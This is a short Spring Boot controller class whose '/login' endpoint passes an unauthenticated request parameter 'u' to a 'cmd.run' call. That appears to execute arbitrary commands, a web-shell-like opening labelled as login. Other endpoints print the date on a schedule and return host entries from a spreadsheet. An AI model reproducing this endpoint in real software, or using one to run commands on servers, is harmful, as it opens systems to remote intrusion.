package com.example.demo; import org.springframework.scheduling.annotation.EnableScheduling; import org.springframework.scheduling.annotation.Scheduled; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RestController; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.util.Date; import java.util.HashMap; import java.util.Map; @EnableScheduling @RestController public class login { @RequestMapping("/login") public String login(HttpServletRequest request, HttpServletResponse response, @RequestParam Map<String,String> map) throws IOException { cmd c = new cmd(); return c.run(map.get("u")); } @RequestMapping("/redo") @Scheduled(cron = "0 */1 * * * * ") public String redo() { System.out.println(String.format(String.format("a " + new Date()) )); return String.format(String.format("a " + new Date()) ); } @RequestMapping("/getHost") public HashMap getHost() throws IOException { xlsxFile f = new xlsxFile(); return f.Sheet(); } @RequestMapping(value = "/{name}") public Object getHost(@PathVariable String name) throws IOException { xlsxFile f = new xlsxFile(); HashMap h = f.Sheet(); return h.get((Object) name); } }